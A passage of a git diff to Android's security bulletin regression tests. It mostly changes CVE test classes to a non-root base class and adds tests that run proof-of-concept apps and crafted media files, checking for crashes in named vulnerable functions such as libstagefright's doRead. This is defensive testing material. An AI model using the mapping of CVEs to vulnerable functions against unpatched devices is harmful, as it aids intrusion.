static final String TEST_PKG = "android.security.cts.cve_2021_0642";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
index e6cd19f1d0b..c50f2c0a180 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
@@ -17,14 +17,18 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
-import static org.junit.Assume.*;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0650 extends SecurityTestCase {
+public class CVE_2021_0650 extends NonRootSecurityTestCase {
/**
* b/190286685
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index 26bba4a6d50..15c59efc97e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0685 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
index 666f7918718..3bfcae4af64 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0689 extends SecurityTestCase {
+public class CVE_2021_0689 extends NonRootSecurityTestCase {
/**
* b/190188264
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index bf261fd0eab..01a3c07160b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@ import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -38,7 +38,7 @@ import static org.hamcrest.CoreMatchers.*;
* Test installs sample app and then tries to overwrite *.apk file
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0691 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
private static final String TEST_APP = "CVE-2021-0691.apk";
private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 2b7ad1452d2..98deb18e315 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0693 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index fabaf89437a..9225b561ece 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0706 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
index 3ae0303371d..513942520a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -18,13 +18,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0919 extends SecurityTestCase {
+public class CVE_2021_0919 extends NonRootSecurityTestCase {
/**
* b/197336441
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 760c265fe09..94f3b970c57 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@ import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
import org.junit.Assert;
@@ -30,7 +30,7 @@ import org.junit.runner.RunWith;
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0921 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
index 617658973bb..b3c9717a280 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
@@ -15,14 +15,18 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0925 extends SecurityTestCase {
+public class CVE_2021_0925 extends NonRootSecurityTestCase {
/**
* Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
index cbf108883a1..d83f26a9529 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
@@ -23,7 +23,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -31,7 +31,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0928 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0928 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0928";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0928.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
index ecb6bdd3cd4..833b93aa854 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -19,13 +19,13 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0953 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 184046278)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
index 5532e4602a4..847feefa489 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,43 +16,39 @@
package android.security.cts;
-import android.platform.test.annotations.AppModeFull;
+import static org.junit.Assume.assumeNoException;
+
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Assert;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0954 extends BaseHostJUnit4Test {
- private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
- private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- private static final String TEST_APP = "CVE-2021-0954.apk";
- private ITestDevice device;
-
- @Before
- public void setUp() throws Exception {
- device = getDevice();
- uninstallPackage(device, TEST_PKG);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- }
+public class CVE_2021_0954 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0954";
- @AppModeFull
@AsbSecurityTest(cveBugId = 143559931)
@Test
public void testPocCVE_2021_0954() throws Exception {
- installPackage(TEST_APP);
- AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
- device);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testVulnerableActivityPresence");
+ try {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-0954.apk");
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", device);
+ runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
index 80fa239bc71..eddde21aacf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -17,14 +17,17 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0956 extends SecurityTestCase {
+public class CVE_2021_0956 extends NonRootSecurityTestCase {
/**
* b/189942532
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index 65934f2741f..b7b0e2bdabc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -21,7 +21,7 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -29,7 +29,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0965 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0965.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
index bfa056b2311..9a56b0c1c2c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -19,12 +19,15 @@ import static org.junit.Assert.*;
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_1906 extends SecurityTestCase {
+public class CVE_2021_1906 extends NonRootSecurityTestCase {
/**
* CVE-2021-1906
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
index 415e2b1ad93..7b4712f2d5a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -15,15 +15,17 @@
*/
package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import android.platform.test.annotations.AsbSecurityTest;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_30351 extends SecurityTestCase {
+public class CVE_2021_30351 extends NonRootSecurityTestCase {
/**
* CVE-2021-30351
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
new file mode 100644
index 00000000000..aaaa502f934
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39623 extends NonRootSecurityTestCase {
+
+ /**
+ * b/194105348
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libstagefright (As per AOSP code)
+ * Vulnerable Function: doRead (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 194105348)
+ @Test
+ public void testPocCVE_2021_39623() throws Exception {
+ String binaryName = "CVE-2021-39623";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName)
+ .setBacktraceIncludes(new BacktraceFilterPattern("libstagefright",
+ "android::SimpleDecodingSource::doRead"));
+ String signals[] = {CrashUtils.SIGSEGV};
+ testConfig.config.setSignals(signals);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ String inputFiles[] = {"cve_2021_39623.ogg"};
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
index 3b12ce5a926..c47ebf119b6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@ import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39626 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-39626.apk";
static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
index 6cac004b175..29de04e3d0c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -20,16 +20,17 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39664 extends SecurityTestCase {
+public class CVE_2021_39664 extends NonRootSecurityTestCase {
/**
* b/203938029
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
index 311b5ce102d..79e3d0fdbd6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -20,6 +20,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@ import org.junit.runner.RunWith;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39665 extends SecurityTestCase {
+public class CVE_2021_39665 extends NonRootSecurityTestCase {
/**
* b/204077881
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 8f12b522fad..eb2c5ab7d07 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -18,13 +18,14 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39675 extends SecurityTestCase {
+public class CVE_2021_39675 extends NonRootSecurityTestCase {
/**
* b/205729183
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
index 444f1a55a60..f75514208c6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -23,13 +23,13 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39692 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 209611539)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
index acc6a2ed00f..63235ecf78b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -23,7 +23,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -31,7 +31,7 @@ import org.junit.runner.RunWith;
import java.io.File;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39700 extends NonRootSecurityTestCase {
/**
* b/201645790
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
index f8d6fe6f1d5..5e78a90cd85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39701 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39701 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 212286849)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
index cf8a688976b..cf5d47c3dd8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -21,14 +21,14 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39702 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39702 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-39702.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
new file mode 100644
index 00000000000..9aebd152144
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
